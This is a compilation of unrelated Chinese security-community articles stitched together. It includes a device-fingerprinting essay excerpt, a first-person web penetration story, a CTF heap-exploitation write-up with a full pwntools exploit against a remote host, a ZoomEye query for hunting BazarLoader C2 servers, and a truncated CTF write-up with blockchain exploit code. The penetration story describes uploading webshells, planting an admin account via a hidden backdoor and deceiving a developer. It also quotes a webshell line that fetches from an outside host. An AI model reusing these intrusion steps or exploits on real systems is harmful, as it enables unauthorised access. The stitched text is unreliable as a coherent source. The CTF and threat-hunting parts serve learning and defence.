3(a)浏览器插件指纹：低或中，除了可以采集更细粒度的系统信息（如内核版本）外，还包括完整的系统字体枚举。但移动设备不支持插件，而桌面网页浏览器则转向扩展模式。
3(b)浏览器扩展指纹：低或非常低。除了技术含量高的用户外，很少有用户安装很多浏扩展。
3(c) 系统指纹插件：高。可以提供相当多的识别信息，与JavaScript相比，对底层操作系统和硬件的访问限制较少。
4(a) IP地址：高。通常可以作为全局标识符，例如由于NAT、代理，以及在某些情况下地址的快速变化。
4(b) 地理定位：从低到高，有较大可变性。地理定位如果颗粒度够细的话，可以提供相当大的区分度。
4(c,d)基于p0f的MTU和TCP标志签名列表：从低到中。被动式TCP/IP协议栈指纹为低，主动式为低到中，主动式更强大一些。
4(e)协议指纹：高。包括HTTP header文件列表(˜4.36位)、某些header文件对应的值，如user-agent、resp、DoNotTrack。也可以推断出是否启用cookies，SSL指纹还不太能确定。但总体等级为高。
4(f) DNS解析：低到中。类似于地理定位，但颗粒度较小。
4(g) 时钟偏移：中。根据Kohno收集的几千台设备数据，计算出分布的熵为˜6位。
4(h)计算NAT后面的主机数量：低。对家庭用户来说，NAT后面主机数量变化不大，比如1到16台设备（企业设备来说会更高）。
## 六、设备指纹在认证中的价值
设备指纹其实不适合作为唯一认证机制，一个理想化的设备指纹认证需要：
每个设备都有一个独特的指纹，可以与用户账户关联。
不同时间从同一设备上获得的指纹要么是相同的，要么是可链接的，即可以高度确信来自同一设备。如果无法链接，比如用户换硬件了，则通过类似二次短信之类的备份机制确保可用
攻击者即使完全掌握设备软硬件配置，也很难伪造。
如果能够满足上述要求，仅设备指纹就可以用于账户认证，但目前显然无法达到这些要求。所以设备指纹主要作为额外的风控机制，尤其是这种机制不会增加用户负担。在这种情况下，设备指纹有两种用法，一是在会话开始时认证，二是在整个会话中维持认证。
### 6.1 会话开始时认证
设备指纹作为附加认证维度使用时，为了授权一个会话，服务器需要正确的响应和匹配用户指纹数据，因此服务器必须能持久访问指纹数据。同时，指纹要在单位时间内稳定跨越多个会话。前面我们说过，如果设备配置发生变化，以至于进化后的指纹不再可验证，则需要一个备份机制来重新关联设备和账户。
这种方式下指纹只需在会话开始时采集一次，因此资源消耗不是主要障碍。
增强双因素认证。用户端指纹可以增强双因素认证，值得注意的是，因素这个词通常涉及用户操作，设备指纹这样的维度最好不要涉及用户操作这部分。以Google的两步验证为例，首先用户名密码登陆，然后发送一个6位短信验证码，如果用户选择信任登陆的电脑，浏览器会保存一个cookie，用户在未来30天内无需验证码登陆。显然这是为了可用性而做出的妥协，攻击者获得cookie后就可以直接绕过第二个因素。所以设备指纹可以至少以三种方式作为辅助验证：
(a) 当用户提交密码时，服务器在发送短信代码之前验证设备指纹。如果指纹验证失败，则需要额外的认证，或向用户发送警报—在接收短信设备被盗的情况下提高安全性。
(b)当用户提交密码时，服务器可验证设备指纹和受信任的cookie，提高cookie被盗时的安全性。
(c)如果用户清除了浏览器cookie，之后试图重新认证，服务器可通过设备指纹识别出用户之前的可信情况，并允许跳过第二个认证因素。
### 6.2 整个会话的认证
在典型基于密码认证过程中，服务器接收到用户名密码后，会返回一个浏览器会话cookie，允许客户端在后续请求中用cookie来保持认证状态。cookie作为一个不记名标记，取代了密码。因此，获得cookie的对手可以在不知道密码的情况下提交认证，获取cookie可以有很多方法，设备盗窃、跨站脚本、MITM攻击等。
有的网站在发起认证会话时记录IP，并检查任何包含cookie的请求是否来自同一地址。这种会话cookie的IP绑定增强了安全性，如果IP交叉验证失败，服务器则终止会话，并选择向用户发出警告，锁定账户，额外认证等步骤。由于客户端在发送每个HTTP请求的同时发送会话cookie，服务器最好在每个请求上都验证源IP地址。不过这可能会影响可用性，用户IP地址在移动环境中可能经常变化。在这里，使用多个指纹向量会有帮助。
一个页面会产生很多HTTP请求，在这种情况下，被动向量应作为主要选择。对于完全被动向量，服务器可从现有流量中提取相关指纹数据，从而在每个请求中验证。但对于部分被动的4(c)或4(f)，则需要额外的网络流量。
非被动向量要求浏览器执行某些操作，并生成指纹输出，且包含在每个HTTP请求中。如果服务器使用固定向量，而且不涉及时间变化的挑战，设备配置也不改变，那么在用户浏览一个网页的过程中，这个指纹就会保持静态。因此在每次请求之前重新计算这个指纹对于合法用户端来说是多余的。但静态指纹可进行重放攻击。
在客户端用计数器对设备指纹进行哈希处理，然后再发送给服务器，这样可解决重放攻击。但对于XSS窃取会话cookie是无效的，因为XSS也可以窃取明文设备指纹和计数器，然后攻击者可以在自己的机器上恢复会话，并继续生成有效设备指纹，例如递增计数器和重新计算哈希。攻击脚本可以收集关于目标设备的额外信息，以便在服务器动态调整其指纹的情况下伪造。严格情况下，服务器可在每次设备被指纹时收集不同的属性。
综上所述，对于全会话指纹：
1. 设备指纹应对每个HTTP请求进行验证。
2. 被动向量的优点：向攻击者隐藏服务器指纹策略；消除用户端资源负担。
3. 定期改变指纹方法可提高防御能力，但要考虑资源使用成本。
4. 改变用户端生成指纹格式可提高安全性，例如使用计数器和哈希，或改变指纹属性。但对高级攻击者效果有限。
5. 抗欺骗能力较强的向量可提供更强的认证保证。
## 七、总结
本文涉及的指纹向量，除了参考业界研究，我们自己也对19个指纹向量做了仿真实验，从这些研究中得出的一个结论是，任何向量子集结合起来都是可行的，但向量组合成需要平衡稳定性和可重复性。向量越多，可识别性则会增加，但并不是在所有情况下都会增加，例如在手机端的user-agent中中，屏幕分辨率不会增加区别性，因为一个型号的所有手机都有一个固定的分辨率。虽然攻击者可从统计学上猜测设备指纹的一些组件，比如伪造最常见的屏幕分辨率，但硬件传感器校准等组件可能是完全随机的，因此难以有效伪造。虽然目前无法给出精确的量化，但结合更多的向量往往会提高抗欺骗性，或至少提高标准。 | 社区文章 |
是比较早之前的事情了，在一次渗透的的时候，目标是某单位。
打开网站看了一眼，网站底部有后台链接，点进去以后后台很明显看的出来是织梦的cms。
尝试扫描目录，发现部署在阿里云云存在拦截，没扫几个页面就被拦截了。
但是发现了一个，根目录下存在一个upload.php文件，这个文件是dede官方源码没有的，推测是自己写的，或者网上copy的源代码，存在任意文件上传的可能性较大。
但是上传常见的file字段，报null，然后尝试爆破上传name
跑了几本字典，最后也没有跑出来这个参数，最后放弃了。
准备找一下源站ip，然后扫描一些敏感文件。
于是打开FOFA准备，通过搜索body来查找源站。
意外收到了一个一模一样的网站，刚开始以为是找到源站ip了，但是查询了一下发现找到的这个网站是腾讯云的。不太可能网站放在腾讯云上，然后用阿里的CDN，推测腾讯云是以前的旧网站，然后搬家到了现在的阿里云。
网站搬家的时候，一般都会整站打包成一个压缩文件，方便迁移。
于是在ip后面加上/domain.cn.tar.gz
没想到一发入魂，连忙把旧版本的网站源码下载来分析。
首先就是upload.php,确实没有对文件类型进行过滤，但是参数名确实很刁钻，正常爆破很难爆破出来。
通过这个upload.php直接上传冰蝎马，那到旧网站的webshell权限
通过解密后台密码，然后尝试在新网站上登录发现密码已经被改过了，无法命令复用。
然后通过upload.php准备进行文件上传，但是这个php是把文件上传到img目录下的，在新的网站上是没有img这个目录的，文件根本写不进去。后来来了权限才发现这个网站坑很多，就算有这个目录也是传不上去的。
于是用d盾扫了一下旧网站源码，发现都快成一个马场了，很多webshell。
于是想到搬家的时候，会不会把这些webshell也copy过去了。于是随便复制了一两个到新网站访问，发现都是404了。
感觉搬家的时候，别人也用D盾扫了。
到这一步感觉也没什么思路了，然后还是不死心，把d盾扫出来的webshell全部导出来。然后写了一个Python脚本去挨个访问，探测是否有200的。
最后惊喜的发现有两个webshell是存活的，一个是`file_get_contents("http://1.1.1.1","a.php")`，类似于这种直接写死写入源的，完全利用不了，当时真想把这个ip买下来。
后来还发现一个，比较隐蔽的
仔细看了一下代码，发现是一个给dede添加后台管理员的脚本，比较隐晦所以可能，没被查杀掉。
通过构造payload，成功在现在的网站上添加管理员账号，直接登录
本以为，都拿到dede的后台管理员权限了，通过文件管理器拿个shell，应该是手到擒来。
但是没想到，网站是没有写入权限的，webshell根本上传不了，翻了一天的目录，没有一个子目录是可以写的，实在没办法，交了报告。但是按网站权限给分，基本上等于没有。
大概卡住了一两天，确定是实在写不了。
通过网站底部的建站公司的名称，找到了网站的开发人员。
直接加微信，验证消息写的是 xxx单位。
到下午才同意，然后我截了个后台的图，假装在后台发表文章，但是没有写入权限发表不了。
半天没鸟我，然后我发了一条消息催了一下
过了一会，突然开发人员回我，问是用的那个账号。
我说 admin
他突然说，你应该没有这个账号的权限。
给我吓一跳，推测是前面交报告扣分了，单位那边有消息了。
然后一看数据库一看，给我把我后来添加的账号删了。
赶紧通过数据库直接加了一个管理员，然后继续登录。
过了一会发现数据库又连不上，把数据库密码也改了。
但是我的后台session还没过期，又赶紧通过后台文件管理器看到了新的数据库账号密码。
这个时候突然发现文件有写入权限了，推测是开发为了修改数据库配置文件，把写入权限打开了。
赶紧手抖着上传了一个大马webshell，给慌的不行，生怕下一秒把写入权限关了。
过了一会发现开发把数据库直接关了，数据库关了以后，数据库也连不上了，网站后台也是无法登录了，如果那几个分钟上传了一个webshell，权限就彻底丢了。
然后开发，估计是想溯源我，直接在微信上问
你电话多少，我没回，然后直接打微信电话过来。
直接截图写报告去了，深藏功与名。 | 社区文章 |
# TCTF线上赛how2mutate学习条件竞争DoubleFree的利用
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
how2mutate这个题目给出了源码，是一个结合honggfuzz开源项目的题目。虽然看起来比较复杂，但是其实就是一个菜单题目，仔细分析一下就可以找到漏洞。
## 分析
这里我们先看一下题目的描述
using honggfuzz commit 7eecfc991d0ae540d9773a6feb8fac5012a55ed6
remote server is newest Ubuntu:20.04 docker (IMAGE ID 9873176a8ff5) . find the libs yourself :)
这里我首先是搜索了一下7eecfc991d0ae540d9773a6feb8fac5012a55ed6这个commit
导致一开始我以为这是一个溢出的漏洞。😅
这里我们首先看一下main函数
seeds = (uint8_t **)util_Calloc(8*16);
puts(menu);
while (1) {
printf("> ");
read(0, buf, 4);
if (buf[0] == '1') {
add_seed();
} else if (buf[0] == '2') {
mutate_seed();
} else if (buf[0] == '3') {
show_seed();
} else if (buf[0] == '4') {
delete_seed();
} else if (buf[0] == '5') {
set_mutate();
} else if (buf[0] == '6') {
subproc_runThread(&hfuzz, &fuzzthread, tofuzz, false);
} else {
break;
}
}
前面的部分不太重要，这里只选取了一些重要的部分。也就是可以看到这里有6个功能，分别是add，mutate，show，delete，set_mutate以及fuzz。我们依次看一下，首先是add函数
void add_seed() {
int i=0;
while (i<10 && seeds[i]) i++;
if (i<10) {
printf("size: ");
scanf("%d", &seedssz[i]);
int sz = seedssz[i]+1;
if (sz>0 && sz<0x8000) {
printf("content: ");
seeds[i] = util_Calloc(sz);
read(0, seeds[i], seedssz[i]);
}
}
}
这里可以看到我们一共可以申请10个seed，其中size的大小是我们可以进行控制的。函数会按照我们输入的size调用util_Calloc函数申请size+1大小的内存空间，将得到的buf地址存储到seeds数组中，并将我们输入的size的值存储在seedssz数组中。注意到这里我们输入的size是可以为0的。
来看一下util_Calloc函数，这个是honggfuzz自己封装实现的内存分配函数
void* util_Realloc(void* ptr, size_t sz) {
void* ret = realloc(ptr, sz);
if (ret == NULL) {
PLOG_W("realloc(%p, %zu)", ptr, sz);
free(ptr);
return NULL;
}
return ret;
}
那么这里很明显的存在一个漏洞，也就是传入的参数sz=0的时候，realloc的实际作用就相当于是free函数，返回值为NULL，将ptr指向的内存空间free掉之后，会进入之后的if分支，可以看到这里再一次free掉了ptr内存指针。也就是存在一个DoubleFree的漏洞。但是正常情况下这个漏洞没办法利用，因为这里的环境是20.04的环境，也就是对tcache的double
free进行了检查。但是这里传入的参数是sz，也就是size+1，即add函数中无法触发这个漏洞。
我们继续向下分析。
void mutate_seed() {
char buf[16];
printf("index: ");
read(0, buf, 4);
if (buf[0]>='0' && buf[0]<='9') {
int idx = buf[0]-'0';
if (seeds[idx]) {
run.dynfile->size = seedssz[idx];
memcpy(run.dynfile->data, seeds[idx], seedssz[idx]);
mangle_mangleContent(&run, 1);
seedssz[idx] = run.dynfile->size;
seeds[idx] = util_Realloc(seeds[idx], seedssz[idx]);
memcpy(seeds[idx], run.dynfile->data, seedssz[idx]);
}
}
}
这个函数其实就是一个种子变异的函数。函数首先根据我们指定index将对应的种子的内容拷贝到run.dynfile->data函数中，之后调用mangle_mangleContent函数，我们可以结合honggfuzz分析一下这个函数，从分析可以得出这个函数的功能是执行种子的变异，我们看一下前半段的内容。
void mangle_mangleContent(run_t* run, int speed_factor) {
static void (*const mangleFuncs[])(run_t * run, bool printable) = {
mangle_Shrink,
mangle_Expand,
mangle_Bit,
mangle_IncByte,
mangle_DecByte,
mangle_NegByte,
mangle_AddSub,
mangle_MemSet,
mangle_MemClr,
mangle_MemSwap,
mangle_MemCopy,
mangle_Bytes,
mangle_ASCIINum,
mangle_ASCIINumChange,
mangle_ByteRepeat,
mangle_Magic,
mangle_StaticDict,
mangle_ConstFeedbackDict,
mangle_RandomBuf,
mangle_Splice,
};
if (run->mutationsPerRun == 0U) {
return;
}
//...
}
可以看到这里如果run->mutationsPerRun为0的话，那么就直接返回不在执行之后的种子变异的操作。而这个成员变量我们可以通过set_mutate函数来进行设置
void set_mutate() {
char buf[16];
printf("mutationsPerRun: ");
read(0, buf, 4);
if (buf[0]>='0' && buf[0]<='9') {
int x = buf[0]-'0';
hfuzz.mutate.mutationsPerRun = x;
run.mutationsPerRun = x;
}
}
这里如果我们输入0的话，那么就会关闭种子变异的功能。继续分析一下mutate_seed函数，当mangle_mangleContent函数执行结束之后我们发现其再次调用了util_Realloc函数
seeds[idx] = util_Realloc(seeds[idx], seedssz[idx]);
memcpy(seeds[idx], run.dynfile->data, seedssz[idx]);
那么这里函数传入的参数就是seedssz[idx]，也就是我们输入的size，是可以为0的，也就是这里是可以触发漏洞的。触发完毕漏洞之后会执行memcpy函数，这里的seeds[idx]的值就变为了0，但是由于seedssz[idx]的值也是0，因此这里不会报错。
## 条件竞争
在找到漏洞之后接下来就是如何利用的问题，由于20.04开启了tcache keys对tcache的double
free进行了检测，因此这里我们还需要找到一种方法来对keys进行覆写。我们继续分析之后的函数，也就是可以对buf进行覆写的函数，并且这个函数要单独的执行一个线程，这样才能够在两次free中间进行覆写keys构造出double
free。妥妥的条件竞争。
这里注意到在main函数的菜单中，fuzz功能是通过重新启动一个线程来完成的。
subproc_runThread(&hfuzz, &fuzzthread, tofuzz, false);
static void* tofuzz(void* arg) {
for (int c=0; c<0xffffff; c++) {
for (int i=0; i<10; i++)
if (seeds[i]) {
fuzzone(seeds[i]);
}
}
}
tofuzz的功能是对存在的没个seed执行fuzzone的调用。而fuzzone函数则是根据我们输入的种子的内容进行一个对buf的改写，看内容来说是进行路径的选择，重要的是这里会对buf[1:16]的内容进行改写，而tcache
keys恰好就在偏移0x8的位置。
那么我们选择fuzzone的哪个路径呢。这里分析一下，我们想要的覆写keys的操作是在第一次free结束，第二次free开始之前完成。那么当第一次free结束之后，buf的前0x10就会被覆写，其中0-0x8会被覆写为tcache中下一个堆块的地址，而0x8-0x10会被覆写为keys的值。而注意到这里的堆地址一定是0x10对其的，因此这里的路径选择其实不多只能选择buf[0]=0的条件下的覆写，因为0的ascii码是0x30，只要我们布局合理就可以进入到这个路径中。
if (buf[0] == '0') {
bool ok=true;
for (i=2; i<15; i++) {
buf[i] -= buf[i-1];
if (buf[i] != buf[i+1])
ok = false;
}
if (ok)
puts("path 9");
}
之后就会改写buf[1:16]的内容，也就是将keys改写，在第二次free的时候就会成功触发，构造出double free。
那么这里的竞争窗口有多大呢，我们再来看一下两次free的流程。
void* ret = realloc(ptr, sz);
if (ret == NULL) {
PLOG_W("realloc(%p, %zu)", ptr, sz);
free(ptr);
return NULL;
}
两次free中间会执行一个条件判断和一个日志输入，终点就是这个日志输出函数，这里的执行时间还是挺长的，竞争窗口很大，条件竞争构造DoubleFree可行。
## 利用
那么接下来就是DoubleFree的利用了。这里的DoubleFree很明显的可以转化为任意地址分配。
那么首先需要进行的就是地址泄漏，在本地调试的时候进行日志输出也就是PLOG_W函数执行的时候会进行一系列的地址分配，完成输出之后会残留有一个unsorted
bin堆块，并且如果在add_seed函数中调用的话，最后还会输出一个堆地址，那么利用上述的地址分配到unsorted
bin地址处就可以完成libc的地址泄漏了。
但是远程的环境与本地不同，并没有残留有unsorted bin的堆块，因此只能够提前部署一个unsorted
bin的堆块进行libc地址的泄漏，之后再任意地址分配覆写free_hook为system
完整的exp如下
# -*- coding: utf-8 -*- from pwn import *
file_path = "./how2mutate"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 0
if debug:
p = process([file_path])
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x0
else:
p = remote('111.186.59.27', 12345)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x0
def add_seed(size, content=b"\n"):
p.sendlineafter("> ", "1")
p.sendlineafter("size: ", str(size))
if size > 0:
p.sendafter("content: ", content)
def mutate_seed(index):
p.sendlineafter("> ", "2")
p.sendlineafter("index: ", str(index))
def show_seed():
p.sendlineafter("> ", "3")
def delete_seed(index):
p.sendlineafter("> ", "4")
p.sendlineafter("index: ", str(index))
def set_mutate(mutate):
p.sendlineafter("> ", "5")
p.sendlineafter("mutationsPerRun: ", str(mutate))
def fuzz():
p.sendlineafter("> ", "6")
heap_address = 0
set_mutate(0)
for i in range(1):
add_seed(0x17, b"a" * 0x17)
for i in range(1):
delete_seed(i)
add_seed(0) # 0
mutate_seed(0)
p.recvuntil("realloc(")
heap_address = int(p.recvuntil(",", drop=True), 16)
log.success("heap address is {}".format(hex(heap_address)))
add_seed(0x17, b"a" * 0x17) # 0
if debug:
add_seed(0x70 + 0x400, b"a") # 1
else:
add_seed(0x80 + 0x400, b"a") # 1
add_seed(0x17, b"a" * 0x17) # 2
delete_seed(1) # unsorted bin # 0x5a0
delete_seed(2)
delete_seed(0) # 0x3a0
if debug:
gdb.attach(p, "b *$rebase(0x7000)\nb *$rebase(0x1FB90)")
log.success("heap address is {}".format(hex(heap_address)))
log.success("libc address is {}".format(hex(libc.address)))
fuzz()
add_seed(0)
mutate_seed(0)
if debug:
show_address = heap_address + 0x8f0 + 0x50
else:
show_address = heap_address + 0x3a0
add_seed(0x10, p64(show_address)) # 0
add_seed(0x8, b"a") # 1
add_seed(0x8, b"a") # 2
add_seed(0x40, b"a") # 3
log.success("show address is {}".format(hex(show_address)))
show_seed()
p.recvuntil("2: ")
libc.address = u64(p.recvline().strip().ljust(8, b"\x00")) - 96 - 0x10 - libc.sym['__malloc_hook']
log.success("libc address is {}".format(hex(libc.address)))
add_seed(0x8, b"a" * 0x8) # 4 = 2
if debug:
add_seed(0x20, b"/bin/sh\x00") # 5
add_seed(0x20, b"/bin/sh\x00") # 6
else:
add_seed(0xc0, b"/bin/sh\x00") # 5
add_seed(0x8, b"a" * 0x8) # 6
if debug:
delete_seed(6)
else:
delete_seed(7)
fuzz()
delete_seed(4)
delete_seed(2)
add_seed(0x8, p64(libc.sym['__free_hook'])) # 3
add_seed(0x8, b"/bin/sh\x00") # 5
add_seed(0x8, p64(libc.sym['system'])) # 7
delete_seed(5)
p.interactive() | 社区文章 |
**作者：heige@知道创宇404实验室
日期：2021年9月9日
原文链接：<https://mp.weixin.qq.com/s/2WOfABt6QAoTG2H-3IfA4g>**
在《[趣访“漏洞之王”黑哥，探寻知道创宇十年网络资产测绘之路！](https://mp.weixin.qq.com/s?__biz=MjM5NzA3Nzg2MA==&mid=2649852342&idx=1&sn=a3b0d73fdb54e53d8bebcda95dd27b49&scene=21#wechat_redirect)》的采访中我提到了知道创宇在网络空间测绘领域的多个优势，其中：
>
> 第六，知道创宇提出了很多先进的测绘理念并实践，如黑哥提出的“动态测绘”，时刻关注数据的动态变化及趋势。前面提到的心脏流血漏洞，就是利用动态测绘的理念分析得出的各种有趣的结论。再比如2019年委内瑞拉大停电事件，
> ZoomEye是全球唯一及时响应、通过动态测绘理念完成该国的网络关键基础设施及重要信息系统测绘的工具。此外还有 “交叉测绘”
> 的思想，基于它可以完成IPv4 vs IPv6 、暗网 vs IP/域名的交叉比；通过“行为测绘”理念来实现重要基础设施的识别定位等等。
>
>
> 高端访谈，公众号：知道创宇[趣访“漏洞之王”黑哥，探寻知道创宇十年网络资产测绘之路！](https://mp.weixin.qq.com/s/dvFAVH17AnDS_r0kOG620A?scene=21)
提到了由我们提出的多个测绘理念：“动态测绘”、“交叉测绘”、“行为测绘”，在之前我有详细专题文章进行阐述：
再谈“动态测绘”
<https://zhuanlan.zhihu.com/p/183952077>
聊聊网络空间“交叉”测绘溯源
[https://mp.weixin.qq.com/s/QTyfHbcnoMYoVUXhcbCYCw](https://mp.weixin.qq.com/s?__biz=Mzg5OTU1NTEwMg==&mid=2247483665&idx=1&sn=deb40fe446c3444bd250c2430db8883a&scene=21#wechat_redirect)
谈谈网络空间“行为测绘”
[https://mp.weixin.qq.com/s/fQatA5iyewqRBMWtpVjsRA](https://mp.weixin.qq.com/s?__biz=Mzg5OTU1NTEwMg==&mid=2247483713&idx=1&sn=a0fc7c244fe400cc1903de02d70f4bb7&scene=21#wechat_redirect)
其中关于“行为测绘”的文章昨天才正式对外发布，同时也写了下英文文档给老外们科普科普，我担心那蹩脚的英文影响老外的理解，所以想着今天补充个例子说明，所以顺带也给国内的朋友们分享一下！
所以今天的主题就是： **How to hunt more BazarLoader C2s through a ZoomEye Query?**
我留意这个BazarLoader还是在@TheDFIRReport在推特9月1日发布的一个威胁情报：
https://twitter.com/TheDFIRReport/status/1433055791964049412 #BazarLoader64.227.73.8064.225.71.198
按照我一贯的作风，遇到IP或者新设备都忍不住往ZoomEye里一搜：
从搜索的banner来看两个IP的443端口有着非常相似特征，唯一区别跟追踪Trickbot遇到过的一样，也就是有一个有"Connection:
close"，一个没有，考虑到特征比较明显，所以我这里先选了这个有"Connection: close"的 64.227.73.80:443
经过几次的搜索尝试，得到一个比较准确的指纹：
"HTTP/1.1 404 Not found" +"Server: nginx" +"Content-Type: text/html; charset=UTF-8" +"Connection: close Date" -"Content-Length" -"<head>" -"Cache-Control"
因为这个只是初步分析，意在获得更多更明显的特征，肯定存在误报的情况的，这里查询出157条数据，主要集中在443端口且都是https协议（顺带书哟下这个也跟样本IP
64.227.73.80:443是一致的），所以我们继续提取了证书里特征比较明显的"issuer" 进行特征观察：
很明显可以看出来"issuer"的证书大多数表现出来分词结构相似的情况，因为数据量不多，我肉眼手工提取了这些证书里的特征做了个特征集：
(ssl:"System,CN" ssl:"Amadey Org,CN" ssl:"O=Global Security,OU=IT Department,CN=example.com" ssl:"NZT,CN" ssl:"O=Lero,OU=Lero" ssl:"Security,OU=Krot" ssl:"O=Shioban,OU=Shioban")
在配合前面掌握到的https服务返回的banner特征：
+"HTTP/1.1 404 Not found" +"Server: nginx" +"Content-Type: text/html; charset=UTF-8"
当然结合这两个条件还存在一些误报，所以进行一些排除运算：
-ssl:"OU=System" -ssl:digicert -"Content-Length" -"Connection: keep-alive"
所以最后得到的查询语句为：
(ssl:"System,CN" ssl:"Amadey Org,CN" ssl:"O=Global Security,OU=IT Department,CN=example.com" ssl:"NZT,CN" ssl:"O=Lero,OU=Lero" ssl:"Security,OU=Krot" ssl:"O=Shioban,OU=Shioban") +"HTTP/1.1 404 Not found" +"Server: nginx" +"Content-Type: text/html; charset=UTF-8" -ssl:"OU=System" -ssl:digicert -"Content-Length" -"Connection: keep-alive"
https://www.zoomeye.org/searchResult?q=(ssl%3A%22System%2CCN%22%20ssl%3A%22Amadey%20Org%2CCN%22%20ssl%3A%22O%3DGlobal%20Security%2COU%3DIT%20Department%2CCN%3Dexample.com%22%20ssl%3A%22NZT%2CCN%22%20ssl%3A%22O%3DLero%2COU%3DLero%22%20ssl%3A%22Security%2COU%3DKrot%22%20ssl%3A%22O%3DShioban%2COU%3DShioban%22)%20%2B%22HTTP%2F1.1%20%20404%20Not%20found%22%20%2B%22Server%3A%20nginx%22%20%2B%22Content-Type%3A%20text%2Fhtml%3B%20charset%3DUTF-8%22%20-ssl%3A%22OU%3DSystem%22%20-ssl%3Adigicert%20-%22Content-Length%22%20-%22Connection%3A%20keep-alive%22
一共得到254条数据，到这里实际上我们就已经实现了“一个ZoomEye查询打尽BazarLoader C2”的目标，当然少了不了数据分析的部分：
BazarLoader C2 国家 Top 10
美国 112 荷兰 53 德国 22 英国 15 罗马尼亚 11 捷克 8 拉脱维亚 8 摩尔多瓦 4 俄罗斯 4 法国 3
BazarLoader C2 运营商 Top 10
amazon.com 79digitalocean.com 68Unknown 14hosting.international 7itldc.com 7colocrossing.com 5ovh.com 5smarthost.net 5dedipath.com 4eonix.net 4
从这些结果来看，如果你经常对僵尸网络恶意IP地址进行追踪我想这些国家你可能并不陌生，当然我们对这些数据的证书里的域名及JARM进行提取：
证书中的域名统计
amadeamadey.at 46asdotaera.it 7baget.fr 1bigter.ch 3confarencastyas.it 3enjobero.ch 1example.com 33forenzik.kz 64gosterta.fr 2haner.it 3hangober.uk 5holdasdg.it 1holdertoysar.uk 4jerbek.fr 2jermegib.fr 3jersjersy.com 2kajekin.je 6komanchi.com 1ksorun.it 2laralabana.it 3maloregerto.it 6mataner.at 4monblan.ua 14munichresed.de 1nortenarasta.fr 1nztportu.pg 2ofgasrty.fr 2parismaote.fr 1perdefue.fr 7pnercon.tr 1pokilorte.es 7rosteranar.uk 1selfoder.gb 6smartoyab.it 1smartoyta.uk 1smartoytaas.it 4zalustipar.uk 3
JARM 统计（有一些目标没有获取到JARM） :
2ad2ad16d2ad2ad22c2ad2ad2ad2ad7329fbe92d446436f2394e041278b8b2 92ad2ad16d2ad2ad22c2ad2ad2ad2ad47321614530b94a96fa03d06e666d6d6 322ad2ad0002ad2ad22c2ad2ad2ad2adce7a321e4956e8298ba917e9f2c22849 392ad2ad0002ad2ad0002ad2ad2ad2ade1a3c0d7ca6ad8388057924be83dfc6a 25
这里顺带提一下单一的JARM表现不是很准，误报比较多，但是它还是有一定的统计学上，数据排除等上面有一定的意义的。
详细数据见：<https://pastebin.com/Y9T4KKYr>
本文只是个具体例子进行说明，理论相关详见：
谈谈网络空间“行为测绘”
[https://mp.weixin.qq.com/s/fQatA5iyewqRBMWtpVjsRA](https://mp.weixin.qq.com/s?__biz=Mzg5OTU1NTEwMg==&mid=2247483713&idx=1&sn=a0fc7c244fe400cc1903de02d70f4bb7&scene=21#wechat_redirect)
题外话：
我觉得我搞的这些套路，真真的好用，真的！而且我也没秃顶，也没有不务正业，也还在搞技术，真的！真的！真的！
* * * | 社区文章 |
# 第五空间CTF 初赛wp
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## Re
### StrangeLanguage
动调猜内存，发现是亦或。
a=[0x53 ,0xF, 0x5A ,0x54, 0x50, 0x55, 0x3, 0x2, 0x0, 0x7, 0x56, 0x7, 0x7, 0x5B, 0x9, 0x0, 0x50, 0x5, 0x2, 0x3, 0x5D, 0x5C, 0x50, 0x51, 0x52, 0x54, 0x5A, 0x5F, 0x2, 0x57, 0x7, 0x34]
for i in range(30,-1,-1):
a[i]^=a[i+1]
flag=""
for i in range(32):
flag+=chr(a[i])
print("flag{"+flag+"}")
## Misc
### 签到
CheckIn
### BabyMi
首先tshark提取一下usbdata的数据
tshark -r a.pcap -T fields -e usb.capdata | tr -s ‘\n’ > data_list
python脚本按行读取去除每行最后的换行。
result+=line[:-1]
利用010editor导入16进制保存即可。
之后diskgenius一下可以直接得到视频，拿到flag。
### Alpha10
foremost后
双图盲水印。
记得flag应该是
flag{XqAe3QzK2ehD5fWv8jfBitPqHUw0}
## Blockchain
### CallBox
paradigm-CTF原题
具体可以看我的安全客投稿
<https://www.anquanke.com/post/id/250115>
这里只贴exp了。
import web3
from web3 import Web3,HTTPProvider
from web3.auto import w3
import hashlib
import json
from Crypto.Util.number import *
web3=Web3(HTTPProvider("http://114.115.157.63:8545/"))
acct=web3.eth.account.from_key('0x107601f7600411eb7203286cf0c83aa4f18b336196c3c98a33dcbb3a49d89a3d')
"""abi=[
{
"stateMutability": "payable",
"type": "fallback"
}
]
opcode="6080604052348015600f57600080fd5b50605380601d6000396000f3fe60806040523273ffffffffffffffffffffffffffffffffffffffff16fffea2646970667358221220905d81ab00e22c4df5b3b4a0e06c36d582af1c1bda479c1f5d52b953fc13617064736f6c63430007000033"
contract=web3.eth.contract(abi=abi,bytecode=opcode)
construct_txn = contract.constructor().buildTransaction({
'from': acct.address,
'nonce': web3.eth.getTransactionCount(acct.address),
'gas': 5000000,
'gasPrice': web3.toWei('21', 'gwei')})
signed=acct.signTransaction(construct_txn)
tx_id=web3.eth.sendRawTransaction(signed.rawTransaction)
print(tx_id.hex())"""
#print(web3.eth.getTransactionReceipt('0xb04cf1ce18efe0007088ac00792d2c0fd2e159c156ab68eca5890edc2fd23d73'))
# address2 : 0xcaF2f0A364B8D23787F63ed98590F65970b4C50b
abi2=[
{
"inputs": [],
"stateMutability": "nonpayable",
"type": "constructor"
},
{
"stateMutability": "payable",
"type": "fallback"
}
]
"""opcode="6080604052348015600f57600080fd5b5060838061001e6000396000f3fe6080604052600073caf2f0a364b8d23787f63ed98590f65970b4c50b6000806000806000855af19150508060325750604b565b3273ffffffffffffffffffffffffffffffffffffffff16ff5b00fea2646970667358221220cb8975fb237c4082d510ddec3bb377bd61c129f2794dfd25052e44f3c930257064736f6c63430007000033"
contract=web3.eth.contract(abi=abi2,bytecode=opcode)
construct_txn = contract.constructor().buildTransaction({
'from': acct.address,
'nonce': web3.eth.getTransactionCount(acct.address),
'gas': 5000000,
'gasPrice': web3.toWei('21', 'gwei')})
signed=acct.signTransaction(construct_txn)
tx_id=web3.eth.sendRawTransaction(signed.rawTransaction)
